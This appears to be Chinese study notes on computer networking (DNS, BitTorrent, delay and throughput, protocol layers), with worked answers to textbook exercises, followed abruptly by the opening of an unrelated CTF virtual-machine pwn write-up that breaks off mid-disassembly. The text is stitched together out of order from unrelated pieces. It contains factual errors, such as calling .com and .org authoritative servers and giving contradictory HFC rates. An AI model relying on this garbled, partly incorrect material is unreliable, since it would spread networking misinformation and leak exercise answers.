  UDP没有实现带外数据传输，TCP也没有真正意义上的带外数据。但是TCP利用其头部中的紧急指针标志(URG)和紧急指针两个字段，为应用程序提供了一种紧急方式。TCP紧急方式是利用传输普通数据的连接来传输紧急数据的，这种紧急数据的含义类似于带外数据。https://blog.csdn.net/qq_29344757/article/details/78689925

• HTTP连接无状态，而FTP连接有状态，FTP服务器会在整个会话期间维持用户状态信息。

常见的FTP命令

• USER username 登录
• PASS password 登录
• LIST 返回当前目录中的文件列表
• RETR filename 取文件
• STOR filename 传文件

常见FTP应答：

• 331 Username OK，password required
• 125 data connection already open; transfer starting
• 425 cannot open data connection
• 452 error writing file

2.4 DNS：因特网的目录服务

为记忆方面，发明了DNS系统用于IP地址和域名的转换。

2.4.1 DNS提供的服务

• DNS是一个分布式数据库，由很多台DNS服务器按照层次结构组织起来
• DNS运行在端到端系统上，且使用UDP协议（53号端口）进行报文传输，因此其为应用层协议
• 以C/S模式工作
• 不直接展示在用户面前，是Internet的核心功能

2.4.2 DNS工作原理概述

用户在浏览器输入一个域名后：

• 浏览器从URL中取出域名，将其传送给DNS客户机
• DNS客户机向DNS服务器发出一个包含域名的查询请求报文
• DNS服务器向DNS客户机送回一个包含对应IP地址的响应报文
• DNS客户机将该IP地址传送给浏览器
• 浏览器向该IP地址所在Web服务器发起TCP连接

如果全世界只有一台DNS服务器，那么

• 单点故障造成的问题会很严重
• DNS服务器承载的流量过大不堪重负
• 远程集中式数据库的查询会带来严重的延时
• 维护量巨大，必须实时更新以适应互联网上主机的增减

因此现实中DNS服务器以层级结构进行设计。最高为根服务器，下面依次为顶级域名服务器（如国家域名 .cn、.jp服务器）、权威服务器（.com、.org等）

• 当本地域名服务器不能解析时，就向根域名服务器查询。
• 顶级域DNS服务器负责顶级域名和所有国家的顶级域名解析工作，如 .com、.org、.net、.gov、.uk、.jp等
• 权威DNS服务器是属于某个组织的DNS服务器，为组织的服务器提供一个权威的域名到IP地址的映射服务，如Web和Mail
• 本地DNS服务器位于权威DNS服务器之下，严格意义上并不属于DNS层次结构中的一层。每一个网络服务商都会提供一个本地DNS服务器（又称默认DNS服务器），当一台主机需要域名查询时，请求首先被发送到本地域名服务器，其作用相当于一个代理，向域名层次体系中做进一步的域名查询。

DNS查询方式：

• 发起请求使用递归查询，后续解析使用迭代查询（本地DNS服务器发送请求到根服务器，根服务器返回结果到本地DNS服务器，然后本地DNS服务器再去请求低一级的DNS服务器，即除了本地DNS服务器外所有DNS服务器都只接收一次请求发送一次请求）
• 纯递归查询（本地DNS服务器发送请求到根服务器，根服务器找到后发送请求到低一级的DNS服务器，整个请求是一个链式结构）
• 上面两种方式中第1种更好，因为第1种请求1次只需要根服务器发送1次请求，而第2种需要发送2次

DNS缓存：当域名服务器知道了某个映射，就将其缓存。

• 在一定时间间隔后缓存的条目将会过期自动删除
• 顶级域DNS服务器通常被缓存在本地的DNS服务器中
• 这样可以减少根DNS的负载

DNS可以提供的服务有：

• 域名到IP地址的转换
• 主机/邮件/服务器别名：为不好记的主机/邮件服务器名提供一个容易记忆的别名
• 负载均衡，一个域名对应于多个IP，DNS服务器在多个IP之间轮转

2.4.3 DNS记录和报文

DNS记录的格式：(name, value, type, ttl)

• type=A时，name=主机名，value=IP地址
• type=NS时，name=域，value=该域权威域名服务器的主机名
• type=CNAME时，name=别名，value=真名
• type=MX时，value=与name相关的邮件服务器域名

通过Nslookup命令可以进行域名解析

DNS服务器攻击

• DDoS攻击，通过洪泛攻击根服务器——难以成功，因为其通常配备分组过滤器，大多数本地DNS服务器都缓存了TLD DNS服务器的地址，使得洪泛攻击难以触及DNS根服务器本身
• 重定向攻击，攻击者截获来自主机的请求并返回伪造的回答（DNS劫持），或攻击者诱导服务器在缓存中接收伪造的记录（DNS毒害）
• 利用DNS服务器对目标主机采用DDoS攻击——反射攻击

2.5 P2P文件分发

P2P服务器没有始终在线的服务器，允许端系统直接通信，对等方间歇性连接并更改IP地址。如文件分发BitTorrent、视频流PPTV、VoIP Skype等。

在C/S模式下，对于一个大小为F的文件，考虑对等方下载和上传速率优先的情况，设$u_s$为服务器上传速率，$d_i$为对等方的下载速率。当有N台客户机连接服务器时，服务器必须按顺序发送N份文件副本，总时间为$\frac{NF}{u_s}$。每个客户端需要下载文件副本，设所有客户端中最小下载速率为$d_{min}$，则客户端最长下载时间为$\frac{F}{d_{min}}$。因此将F分配给N个客户机的时间$T_{c-s}\ge\operatorname{max}\{\frac{NF}{u_s},\frac{F}{d_{min}}\}$。
在P2P模式下，服务器需要至少上传一份副本，时间为$\frac{F}{u_s}$，每一个客户端需要下载文件副本，最长时间为$\frac{F}{d_{min}}$。多有客户端整体需要下载NF比特，最大上传速率为$u_s+\sum u_i$。故将F分配给N个客户机的时间为$T_{P2P}\ge\operatorname{max}\{\frac{F}{u_s},\frac{F}{d_{min}},\frac{NF}{u_s+\sum u_i}\}$，最后一个值随N线性增加，但每个对等方带来了服务能力。

BitTorrent基本概念

洪流：参与一个特定文件分发的所有对等方的集合
追踪器：跟踪正在参与在洪流中的对等方
文件块：256KB

BitTorrent的基本工作机制

• 向邻居请求哪些文件块——最稀罕优先
• 优先响应哪些请求——对换算法（每10秒重新确定4个最高速率对等方。每30秒随机选择1个新的邻居）
• 下载时，对等方将块上载到其他的对等方
• 对等方可能会更改与之交换块的对等方
• 对等方不稳定，会产生波动
• 一旦对等方拥有了整个文件，它可能直接离开或留在洪流中

课后习题和问题

1.1

1. 主机与端系统之间没有什么不同，二者均指连接到互联网的计算设备，运行网络应用程序，是同一个意思。端系统可以是手机、电脑、智能手表、掌机等。Web服务器是一种端系统，它为互联网中的其他端系统提供内容服务。
2. 略
3. 只有让尽可能多的协议支持相同的标准，才能够更好地实现互联网的互联互通，便于互联网的建设。

1.2

4. 住宅接入：DSL、电缆、FTTH、卫星、拨号接入、以太网、WiFi等
   公司接入：以太网、WiFi等
   广域无线接入：3G、4G、LTE等
5. HFC传输速率在用户间是共享的，在下行HFC信道中所有的数据包都是从区域电缆头端发出的，顺序确定，因此不会存在碰撞。
6. 略
7. 从10Mbps到10Gbps不等。
8. 双绞铜线和光纤。
9. Modem拨号传输速率不大于56Kbps，专用
   HFC最高40Mbps/10Mbps下行/上行速率，共享
   DSL数字用户线55Mbps/15Mbps下行/上行速率，专用
   FTTH光纤到户最高100Mbps/4Mbps下行/上行速率，共享
10. 共享的无线接入网络连接端系统和路由器，通过基站（无线接入点）接入。
    无线局域网（WIFI）和无线广域网（3G、4G、5G）。WIFI是无线短距离的局域网传输，不需要电话卡，无线广域网的可连接范围更大。

1.3

11. 将数据包从发送主机发送到交换机需要的时间为L/R₁，将数据包从交换机发送到目标主机需要的时间为L/R₂，总时延为两者之和。
12. 与分组交换相比，电路交换会为每一条链路预留资源，能够保证恒定的传输速率，而大多数分组交换网络都没有这种保证。
    FDM需要多个滤波器实现，而TDM不需要。
13. a. 使用电路交换能够支持2个用户，因为电路交换会预留资源，2Mbps的链路在一个时刻只能够为2个用户分配足够的资源。
    b. 如果两个或更少的用户传输，链路中传输的数据量没有达到其阈值，因此很少有排队时延。当有超过2个用户传输时，由于这些用户原来需求的总传输速率大于该链路的带宽，因此只能降低每个用户的传输速率，且链路一直在满负荷工作，容易造成排队时延。
    c. 每个用户仅传输20%的时间，因此某指定用户在特定时刻正在传输的概率为20%。
    d. 20%³=0.008，只有在3个用户同时传输时才会造成队列增加，因此时间比率为0.008。（由此可以计算出队列减少的时间比率为1-0.008-3×0.032=0.896）
14. 等级结构中级别相同的两个ISP互相对等可以减少数据交换的成本，IXP（因特网交互点）可以通过计算经过自身的流量收取一定的费用。
15. 可以让互联网中的用户更加快捷地访问自身提升体验，同时避开IXP等中间商，一定程度上降低运营成本。

1.4

16. 某源主机跨越一条固定路由向某目的主机发送一分组。端到端时延由传输时延、传播时延、排队时延、处理时延等组成，其中传输时延固定，由链路的带宽决定；传播时延固定，由传播媒介决定，排队时延不固定，由链路的阻塞情况决定；处理时延一般固定，由路由器的处理速度决定。
17. 当传播时延小、速率高、分组长度短时，分组的第一个比特到达接收方之前发送方已经结束了传输。当传播时延小、速率低、分组长度长时，发送方完成传输之前第一个比特已经到达接收方。
18. 这个分组的传输速率为1000/(2×10⁶)=5×10^-4s，传播时延为0.01s，故一共至少需要0.0105s。一般地，长度为L的分组经过距离为d的链路传播，传播速率为s并且传输速率为Rbps，需要使用(L/R)+(d/s)，该时延与传输速率有关。
19. a. 吞吐量为500Kbps，即三段链路中速率的最小值
    b. 64s，注意500Kbps指的是500K比特不是500K字节
    c. 100Kbps，320s。
20. 端系统A首先根据链路需要将数据分为多个段，并为每一个段添加首部信息，产生多个分组。分组之一到达某分组交换机时，该分组交换机可以使用分组中的目的主机MAC地址来决定应该通过哪个端口转发到哪一条链路。
21. 略

1.5

22. 差错控制、流量控制、多路复用/分解、报文分段、重新装配、连接建立。可能。
23. 从低到高依次为物理层、链路层、网络层、运输层、应用层。应用层是网络应用程序及它们的应用层协议存留的地方，用于端系统中应用于应用之间的信息交换。运输层在应用程序端点之间传送应用程序报文。网络层用于将数据包从一台主机移动到另一台主机中。链路层用于将分组从链路中的一个节点发送到另外一个节点。物理层用于将该帧的一个个比特从一个节点发送到另外一个节点。
24. 位于应用层的信息分组称为应用层报文，将运输层的分组称为运输层报文段，位于网络层的分组称为网络层数据报，位于链路层的分组称为链路层帧。注意这4个层次对于分组的称呼都不相同，有报文、报文段、数据报和帧。
25. 路由器可以处理网络层、链路层和物理层，链路层交换机可以处理链路层和物理层，主机处理所有5个层次。

习题

1. 略
2. 一个分组发送所需要的时间为NL/R，传输速率为R，因此最后一个分组开始发送的时刻是(P-1)L/R，故这些分组全部发送完的时刻等于最后一个分组发送完的时刻，即(N+P-1)L/R
3. a. 电路交换网络，因为电路交换网络在连接成功后能够保证应用以一定的带宽，从而保证一定的最小传输速率，有效减少该应用受到其他应用产生的影响。
   b. 不需要，因为应用程序传输速率的总和小于每条链路的各自容量，不会发生拥塞。
4. a. 从A到B：4条。从B到C：4条。从C到D：4条。从D到A：4条。
   b. 8条。
   c. 能，各用2条。
5. a. 10辆汽车之中最后一辆汽车通过收费站的时刻为2分钟。其在之后还需要通过2个收费站用4分钟（本题的设定是先到的车会在收费站入口等待后到的车，如果不等待则在后面的收费站后到的车不需要等待前面的车服务完成），在路上行驶的时间为90分钟，因此端到端实验为96分钟。
   b. 94分48秒。
6. a. 传播时延d_prop=m/s
   b. 传输时间d_trans=L/R
   c. 端到端时延=传播时延+传输时延=m/s+L/R
   d. 在时刻d_trans，该分组的第一个比特刚刚被输入到链路中，位于主机A端口处。
   e. 当传播时延>传输时延时，在d_trans，即分组被全部输入到链路中时，分组的第一个比特仍然在链路中传播，还没有到达主机B。
   f. 已经到达主机B。
   g. m/s=L/R：m=536km。
7. 数字比特流的生成速率为56Kbps，一个分组的数据部分为56字节，因此产生两个分组的间隔时间为8ms。考虑到一个分组的产生必然需要这个分组中的所有数据都产生完成。那么一个分组的第一个比特产生到这个分组中最后一个比特产生的时间差为56Bytes/64Kbps=7ms。这条链路的传输速率为2Mbps，因此有传输时延等于0.224ms，传播时延为10ms。如果不算主机B的处理时延，时延应该为17.224ms。
8. a. 20个
   b. 每个用户仅有10%的时间在传输，因此某给定用户正在传输的概率为10%。
   c. 在有120个用户时，当0<=n<=20时实际有n个用户传输的概率为$C_{120}^n0.1^n0.9^{120-n}$。
   d. $1-\sum_{n=0}^{20}C_{120}^n0.1^n0.9^{120-n}$
9. 10000；略
10. 端到端时延为$\sum_{i=0}^3(\frac{d_i}{s_i}+\frac{L}{R_i})$，另外还有两个分组交换机的处理时间2d_proc。二者之和即为总的端到端时延。解释：每一个分组在到达一个分组交换机需要在该分组完全到达分组交换机才能进行处理和转发，因此3段链路一共有3个传输时延。可以观察一个分组的最后一个字节。当其到达一个分组交换机之后还需要等待处理时间以及该分组前面所有字节传输完成之后才能继续传输。代入数值计算得到时延为18+6+40=64ms。
11. 如果分组交换机不存储转发分组而是立即传输，且处理时间为0，那么这些分组交换机就如同不存在一般。端到端时延为6+40=46ms。这6ms指的是传输时延。
12. 当该分组到达时，分组交换机还需要传输6750字节的分组，需要的传输时间为：6750×8/2M=27ms，即为排队时延。在一般情况下，还需要传输(n+1)L-x字节数据，排队时延为8((n+1)L-x)/R。
13. a. 第一个传输的分组排队时延为0，第二个传输的分组排队时延等于第一个分组的传输时延，为L/R，第三个排队时延为2L/R，以此类推，平均排队时延为(n(n-1)/2)L/Rn=(n-1)L/2R。
    b. N个分组在LN/R之内可以全部传输完成，因此前N个分组不会影响到后N个分组的传输。平均排队时延依然为(n-1)L/2R。
14. a. 总时延=排队时延+传输时延=IL/R(i-I) + L/R
    b. 略
15. 时延=IL/R(i-I) + L/R=1/(μ-a)
16. 即N=11，传输时延是传输速率的倒数，故总时延为20ms，平均分组到达率a=550分组/s。
17. 如果中间经过若干个分组交换机，那么总的端到端实验等于所有分组交换机的处理时延、传输时延、排队时延与链路传播时延之和。
18. 略
19. 略
20. 一个客户-服务器之间的吞吐量是R_s、R_c和R/M的最小值（所有客户端与服务器的链路平均分配带宽）
21. 能够取得的最大吞吐量为M条路径中每条路径链路传输速率的最小值的最大值。之和。
22. (1-p)ⁿ；倒数-1，因为第一次不属于重传。
23. a. 间隔时间即为传输时延L/R。
    b. 是可能的。由于第一段链路的带宽大于第二段链路，因此第一个分组的第一个比特和第二个分组的第一个比特在第一段链路中到达同一个位置的时间差较小。由于第二段链路的带宽较小，因此第一个分组在第二段链路中的传输时延大于第一段链路，那么第一个分组的最后一个比特还没有进入第二段链路时，第二个分组的最后一个比特已经进入了交换机的缓存，这就造成了排队时延。如果两个分组的发送间隔时间T，为保证第二个分组不排队，T至少应该为L/R_c-L/R_s。
24. 快递
25. a. 带宽-时延积=2Mbps×2×10⁷m/(2.5×10⁸m/s)=0.16Mb
    b. 带宽-时延积一个方面的意义就是某个时刻这段链路正在传输的比特数量的最大值，即160Kb。在链路上具有的比特数量的最大值为160Kb。
    c. 见上一题
    d. 一个比特的宽度为20000km/0.16Mb=0.125km/b，即125m一个bit。比一个足球场更长。
    e. 一个比特宽度=m/(Rm/s)=s/R。
26. s/R=m，即R=s/m（值为12.5bps）时一个比特的长度与该链路的长度相等。
27. a. 此时带宽-时延积=80Mb
    b. 80Mb
    c. 0.25m
28. a. 需要0.48s
    b. 需要2s，每一次传输都有0.02s的传输时延和0.08s的传播时延
    c. 第一个更小，第二个没有充分利用带宽资源
29. a. 传播时延为3.6×10⁴km/(2.4×10⁸m/s)=150ms。
    b. 带宽-时延积=10Mbps×150ms=1.5Mb
    c. 能够连续传输的x的最小值为600Mb
30. 略
31. a. 在没有报文分段的情况下，从源主机到第一台分组交换机移动报文需要4s时间，从源主机移动到目标主机需要12s时间。
    b. 从源主机移动第一个分组到第一台交换机需要5ms，从第一台交换机发送第一个分组到第二台交换机，需要5ms，从源主机发送第二个分组到第一台交换机需要5ms，在第10ms时第二个分组能够被第一台交换机全部收到。
    c. 每一个分组在一条链路上的传输时延为5ms，那么最后一个分组开始传输的时刻为3.995s。一个分组经过3条链路的时间为15ms，因此最后一个分组传输完成的时刻为4.01s。
    d. 可以使得分组交换机没有必要将缓存容量设计得很大，而且当报文出现错误时，将报文分段可以只重新传输这一个分组即可。
    e. 报文分段的缺点有分段中的头部信息占用的带宽增加。
32. 略
33. 一个分组在一条链路上的传输时延为$\frac{80+S}{R}$，一共有$\frac{F}{S}$个分组，最后一个分组开始传输的时刻为$(\frac{F}{S}-1)\frac{80+S}{R}$，其通过三段链路传输的时间为$\frac{3(80+S)}{R}$，故移动该文件所需时延为$(\frac{F}{S}+2)\frac{80+S}{R}$。要想让这个值最小，可以通过修改分组大小S的值来获取。对该式求导：$(\frac{80F}{SR}+\frac{F}{R}+\frac{160+2S}{R})'=\frac{2}{R}-\frac{80F}{S^2R}=0$，解得$S=\sqrt{40F}$，此时的时延值最小，为$(\sqrt{\frac{F}{40}}+2)\frac{80+\sqrt{40F}}{R}$。
34. 略

Chapter 1 计算机网络和因特网

1.1 什么是因特网

1.1.1 具体构成描述

因特网由连接在其上的数十亿计的互联计算机设备组成。

• 主机是端系统，运行网络应用程序。
• 通信链路将这些端系统连接起来，包括光纤、无线电等，它的带宽表现传输速率。
• 分组交换机用于转发数据分组，包括链路层交换机和路由器。

端系统通过因特网服务提供商ISP接入Internet，不同的ISP之间也可以相互连接构成更大的网络。在因特网上运行的网络应用程序属于软件，其上定义有各种协议用于控制报文的发送和接收。这些协议由因特网工程部（IETF）制定，其标准文档称为请求评论（RFC）

1.1.2 服务描述

• 因特网为应用程序提供服务的基础设施。
• 因特网为应用程序提供编程接口，应用程序连接到因特网上的通道（套接字接口），且因特网能够提供不同级别的服务选项，对应不同的服务方式和服务质量。

1.1.3 什么是协议

一个协议定义了在两个或者多个通信实体之间交换的报文格式和次序，以及报文发送和/或接收一条报文或其他时间所采取的动作。

1.2 网络边缘

• 网络边缘包括：主机（客户端和服务器，可以运行应用程序）、数据中心的服务器
• 网络核心包括：路由器、网络的网络
• 接入网和物理媒体：通信链路

网络应用的通信模型有：

• 客户/服务器模型（C/S模式）
• 对等模型（P2P模式），所有主机同时承担服务器和客户机的双重身份

连接端系统和边缘路由器的方法：

• 通过住宅接入网（Modem拨号/ADSL拨号/HFC/FTTH/卫星）
• 通过机构接入网（以太网/Wifi）
• 通过移动接入网（3G/LTE/5G）

1.2.1 接入网

接入网是指将端系统连接到边缘路由器的网络。其作用是：将网络边缘与网络核心连接起来，通常是将端系统连接到边缘路由器上。边缘路由器指端系统到任何其他远程端系统的路径上的第一台路由器。

Modem 拨号

• 通过本地电话回路点对点连接ISP的拨号池（通常为路由器）
• 其速度最高可达56kbps
• 无法实现在上网的同时打电话

DSL: 数字用户线

• 下行/上行速率最高可达55Mbps/15Mbps（运营商可以以不同价格限制用户的上网速率）
• 采用频分复用的方式：0kHz~4kHz传输语音，4kHz~50kHz为上行，50kHz~1Mhz为下行。
• 带宽独享（一条线只能给一个用户用）

HFC: 光纤同轴电缆混合网络

• 上行/下行速率最高可达40Mbps/30Mbps
• 通过有线电视网络部署
• 带宽共享（一条线可以给多个用户用，分频段使用）

局域网接入

• 公司或大学的局域网（LAN）将端系统连接到边缘路由器
• 以太网：通过共享或专用的链路来连接端系统和路由器，速度各有差异，从10Mbps到10Gbps

无线接入

• 共享的无线接入网络连接端系统和路由器
• 无限局域网：基于IEEE 802.11技术，最高1Gbps/s
• 广域无线接入由电信运营商提供，基于IEEE 802.16

1.2.2 物理媒体

常用的物理媒体根据各自的构造和特征、使用的环境、优劣点可以分为几种。

• 导引性媒体：沿着固体媒体被导引的媒体，电波随着固体媒体前行。如光缆（在玻璃光纤传播光脉冲，每一个脉冲一比特，传输速率高且误码率低，不受电磁干扰）、双绞铜线（3类线10Mbps，5类线100Mbps，6类线1Gbps）或同轴电缆（双向传输，可分为基带和宽带）。
• 非导引型媒体：信号自由传播，如无线局域网（通过电磁频谱传播信号，没有物理线路，可双向传输，但受到传播环境影响较大）或数字卫星频道。地面微波可达45Mbps，无线局域网可达2/11/54Mbps，卫星网络可达45Mbps，有270ms的端到端延时

1.3 网络核心

数据传输的方式有电路交换和分组交换。

1.3.1 电路交换

电路交换网络是第一代计算机网络
数据交换过程：建立连接，交换数据，释放连接
特性：

• 电路交换网络中一个电路对应一条连接，一个链路对应多条电路
• 数据交换前需要建立一条从发端到收端的电路（预留资源）
• 在数据交换的全部时间内用户始终占用端到端固定传输信道
• 交换双方可以实时进行数据交换而不会产生延迟

一条物理链路容纳多条连接的方法：

• 时分复用（TDM）将时间分组，一组分为多个时间片，一个时间片内的所有频率都供一个用户使用，多个用户轮流使用。
• 频分复用（FDM）将频率分组，同一时刻使用不同频率传输不同用户的数据

电路交换的缺点：

• 计算机之间数据交换具有突发性和间歇性特征，电路交换是按照用户占用线路的时间计费的，这可能会造成大量时间的浪费。
• 不够灵活，只要双方通信建立的通路中出现任何一点故障就需要拨号重新建立连接，不利于紧急通信。

1.3.2 分组交换

分组交换网络是第二代计算机网络。
分组交换网络由

• 路由器构建路由器网络
• 数据被截断划分为分组
• 由分组交换机转发分组
• 使用链路最大传输速率传输（从宏观上而言，链路是共享的，从微观上看，分组传输时是独占链路的。这一点在理解全双工通信时很重要，即每一段链路上同时只能传输一个分组。）

分组交换需要解决的问题：

• 为什么分组，如何分组
• 分组交换机如何确定，是否固定不变
• 分组如何按照既定路线前行
• 分组转发模式的具体设计
• 分组转换方式的效率
• 可靠性是否能够保障

分组的优势

• 提高传输效率。假设一共有3段链路，将数据分为几个分组，可以让3段链路同时发送数据，但电路交换也能实现。
• 提高传输质量。如果在传输过程中出现错误，分组交换只需要重传错误的分组即可，而电路交换需要重传整个报文。
• 链路利用率高

如何分组

• 在发送端，先把较长的报文划分为较短的、固定长度的数据段
• 将每一个数据段前面添加首部构成分组
• 分组交换网络以分组作为数据传输单元，依次将各个分组发送到接收端
• 接收端收到分组后去除首部还原报文
• 最后接收端将数据重组恢复为原来的报文

分组传输的模式

存储转发传输：分组交换机将整个分组接收并存储，然后再发送。这是为了校验分组是否传输正确。

分组交换网络的特征

• 数据分为若干分组分别传送
• 不必预先确定分组传输路径，而是由中间的各个交换机和路由器自行确定传输路径
• 交换结点均为共享结点，选择路径
• 存储/转发，提高容错率
• 断续（动态）分配传输带宽，可以最大限度地利用网络带宽资源，不仅降低费用还提高效率
• 网状拓扑结构可提高可靠性，一条线路产生故障时可以使用其他线路进行传输
• 主干网络往往由一些高速链路构成，提升网络整体的传输速度

存储转发效率

传输时延：L/R。L：分组长度（bit），R：连接设备链路的速率（bps）。N条链路的传输时延为NL/R。注意：传输时延不能理解为一个bit在链路中传输消耗的时间所导致的时延。因为链路中的传输都是光速，造成时延是因为链路的速率有上限，即这条链路一段时间内只能发送多少个bit，这个bit在链路中占有一定的“长度”，可以理解为机器发送bit的速率。如一条链路的速率为10Mbps，即1秒可以传输10000000个bit，1秒光传输的距离为300000km，那么一个bit就占了300000*1000/10000000=30m。n条链路的意思是数据从起点到终点之间经过了多个交换机，这些交换机将链路分为多段，由于交换机需要接收存储一整个分组之后才转发，因此多条链路的传输时延等于每一条链路的传输时延之和。
排队时延：存储需要缓存，当交换机一段时间内接收到的数据较多而无法全部及时转发时，就可能导致排队。
分组丢失（丢包）：当缓存满时，交换机会采用某种算法选择一些数据包丢弃，这些包需要重传。

分组转发的路径

分组首部含有目的地址，路由器根据其转发表选择对应的链路进行转发。转发表通过路由选择协议形成，通过traceroute/tracert命令可以查看路由。

分组交换和电路交换的比较

分组交换网络的问题

• 分组在各个结点存储转发时因为需要排队总会造成一定的时延，当通信量较大时时延可能会很大
• 每个分组必须携带头部信息，带来额外开销
• 整个分组交换网络的管理和控制较为复杂

如果需要连续传输大量数据，且传输时间远大于呼叫建立时间，则使用数据通信之前预先分配传输带宽的电路交换。分组交换无需预先分配带宽，在传输突发数据时可以提高整个网络的信道利用率。

网络核心分类

电信网络：电路交换网络、分组交换网络
电路交换网络：FDM、TDM
分组交换网络：虚电路网络、数据报网络

1.3.3 网络的网络

端系统通过ISP（Internet Service Provider）连接到网络，ISP和ISP之间连接形成更大的网络。由此构建的因特网非常复杂，应该由经济和国家策略而不是性能来驱动。

对于如此大的网络，可能的连接方式有下列几种：

• 将每两个ISP之间都建立一个连接，这样连接的数量太大不经济。
• 所有客户ISP连接到一个全球承载ISP，这样会导致全球承载ISP的压力较大，且需要在费用上达成一致，容易形成垄断。
• 客户ISP连接到多个全球承载ISP中，全球承载ISP再相互进行连接。这样可能在两个全球承载ISP之间存在一个IXP（因特网交互点），但由于不是每一个国家都有全球承载ISP，因此这种方案也有问题。
• 区域网络与承载ISP相联，每一个区域有一个ISP，即在客户ISP和全球承载ISP中间加上一层地区ISP，这种方式较为合理。
• 在第四种方案的基础上添加上内容提供商自己的网络——内容提供商网络，如谷歌微软等。总的结构应该为：客户ISP——区域ISP——IXP——全球ISP/内容提供商网络总体4层结构，当然这个层级结构并不严格，客户ISP也可以直联全球ISP。

1.4 分组交换网中的时延、丢包与吞吐量

时延分为：

• 节点处理时延d_proc：节点收到完整的分组后，需要对该分组进行校验以及确定输出链路，分组完成这些工作所需要的时间。一般为几ms或更短
• 排队时延：排队时延取决于路由器的拥塞程度，当分组在输出链路中需要等待被发送时产生排队时延。
• 传输时延：将分组比特流发送到链路中的时间，L/R。其在低速链路中非常重要
• 传播时延：数据在链路中从起点到终点所需要的时间。d为物理链路的长度，s为媒体中的传播速度（约为2*10⁸m/s），传播时延=d/s。注意与传输时延的区别。约为几ms到几百ms。

定义流量强度：链路带宽R（bps），分组长度L（bits），平均分组到达速率a，则流量强度为La/R。这是一个以路由器为视角定义的量，当值近似于0时，表示平均排队时延很小，甚至为0，当值小于1时，时延较小，且随着时间推移变小，因为此时分组到来的速度小于路由器的处理速度。当值等于1时，时延不会变化，具体时延的值取决于当前队列的长度。当值大于1时，平均时延较大，且随着时间推移趋近于无穷。

• 缓存中的队列容量有限，当分组到达时如果队列已满，则该分组会被丢弃。丢弃的分组可能会被重传，或者根本不重传。
• 通常到达队列的过程是随机的，La/R并不能全面地表征时延的统计量，当流量强度接近1时，当到达速率超过传输能力（由于分组到达速率的波动）时将产生时间间隔，在这些时段中将形成队列。就比如当流量强度为1时，在一个时刻同时到达多个分组，在这些分组处理完之后，可能会有一段时间路由器中没有队列，此时路由器就会进入空闲状态，但由于流量强度为1，路由器只要有空闲时间，就必须让后面的分组等待更长的时间，这就是统计规律导致的问题。因此并不是说当流量强度为1时平均排队时延就不会增加，而是会缓慢增加。

定义吞吐量：这是现实生活中最关心的一个性能指标，与带宽要进行区分。分为瞬时吞吐量和平均吞吐量，类比瞬时速度和平均速度。吞吐量指发送方和接收方之间的数据传输速率（bits/time unit）。对于一个有多条链路的传输路径，其吞吐量等于吞吐量最小的那一条链路的吞吐量值（木桶原理），称这条链路为瓶颈链路。吞吐量和带宽一定要辨析清楚。带宽指的是一段链路最为理想的情况下单位时间能够传输的比特量，而吞吐量则是一个根据实际情况测出来的一个量，就像高速公路的限速是120（带宽），但在车辆比较多的情况下就不可能达到这个速度（吞吐量）。互联网下，连接瓶颈通常不是在主干网络，而是与每一台机器直接相连或距离不大的分支网络或分支链路上。虽然主干网络上承载的流量大得多，但主干网络通常会被精心维护，所以一般不会出现主干网络成为瓶颈的情况。

1.5 协议层次和服务类型

现实中需要实现的需求往往多而繁杂，为了将这些需求规范化，定义了种种协议与分层结构。定义层次可以使得每一个层次实现一种服务，相邻的层次之间有依赖作用。分层是处理复杂系统的有效方法，可以以结构化的方式来讨论系统组件。每一层对其他层是透明的。但分层也可能会导致功能冗余和信息关联（某一层的功能需要其他层的信息）

1.5.1 分层的体系结构

目前通用的因特网的协议栈一共分为5层：

• 应用层：支持网络应用，如FTP、HTTP等协议就是运行在应用层
• 运输层：用于主机之间的数据传输，如TCP、UDP协议
• 网络层：将数据报从源端传送到目的端，如IP协议和路由协议
• 链路层：数据在网络相邻结点之间传输，如PPP协议和Ethernet协议
• 物理层：在线路上传输比特流

ISO/OSI参考模型：共有7层，在应用层和运输层之间增加了：

• 表示层：允许应用程序解释数据的含义，如加密压缩等
• 会话层：提供数据交换的同步、定界、建立检查点和恢复的能力

由于这两层在应用层完全可以实现，因此现实中的因特网协议栈没有这两层。

实体：任何可以发送和接收消息的硬件和软件进程，通常是一个特定的软件模块。
对等体：不同机器上包含对应层的实体称为对等体，如两台机器上的应用层实体称为对等体，网络层实体为另一个对等体。
协议：包含——语法，即数据与控制信息的结构或格式；语义：即需发现何种控制信息，完成何种动作以及做出何种应答；同步：即事件实现顺序的详细说明。
服务：为保证上层对等体之间能够相互通信，下层向上层提供的功能。
服务原语：网络相邻层之间进行交互时需要交换的一些必要命令。
服务访问点（SAP）：同一系统中相邻两层的实体进行交互的地方。
协议数据单元（PDU）对等层次上传送数据的单位。
服务数据单元（SDU）层与层之间交换数据的单位。
网络体系结构（Network Architecture）：层和协议的集合。
协议栈（Protocol Stack）：一个特定的系统所使用的一组协议。

数据传输过程就是一个加头部去头部的过程，首先在发送方依次加上第5、4、3、2层头部，然后发送到接收方在接收方处将这些头部依次去掉即可。

这是一道vm题。前几天师傅让我看看这道题，发现是一种没有做过的类型。查询相关资料之后有了一定的了解。由于是第一次做这种题，就将wp写的尽可能详细一些，作为笔记备查。

源文件：my_github

vm-pwn是一种虚拟机pwn，我的理解是，我们自己用C语言写一个虚拟机。在这个虚拟机里面可以进行各种操作，如加减乘除、堆栈操作等。这里各种操作的操作码可以是我们自己定义的，比如我们定义01开头的指令为加，02开头为减，等等。我们不管当前的主流架构是怎么实现的，这个程序本身相当于是”发明“了一种小型的轻量级的汇编语言。我们需要找到这种语言的漏洞以跳出虚拟机，进而getshell或getflag。

大致了解了这种题目的背景之后，我们就可以进去看题了。

指令首先是写在了bss段的一个地方，在main函数中有一个死循环，里面的sub_11E9函数应该就是读取指令的函数了。改名为read_cmd。

这里反汇编看着不太清楚，还是要深入到汇编去查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

.text:0000000000001213                 lea     rdx, code
.text:000000000000121A                 add     rax, rdx
.text:000000000000121D                 mov     eax, [rax]
.text:000000000000121F                 mov     [rbp+var_C], eax
.text:0000000000001222                 mov     eax, [rbp+var_C]
.text:0000000000001225                 shr     eax, 18h
.text:0000000000001228                 mov     edx, eax
.text:000000000000122A                 mov     eax, [rbp+var_C]
.text:000000000000122D                 shr     eax, 8
.text:0000000000001230                 and     eax, 0FF00h
.text:0000000000001235                 or      edx, eax
.text:0000000000001237                 mov     eax, [rbp+var_C]
.text:000000000000123A                 shl     eax, 8
.text:000000000000123D                 and     eax, 0FF0000h
.text:0000000000001242                 or      edx, eax
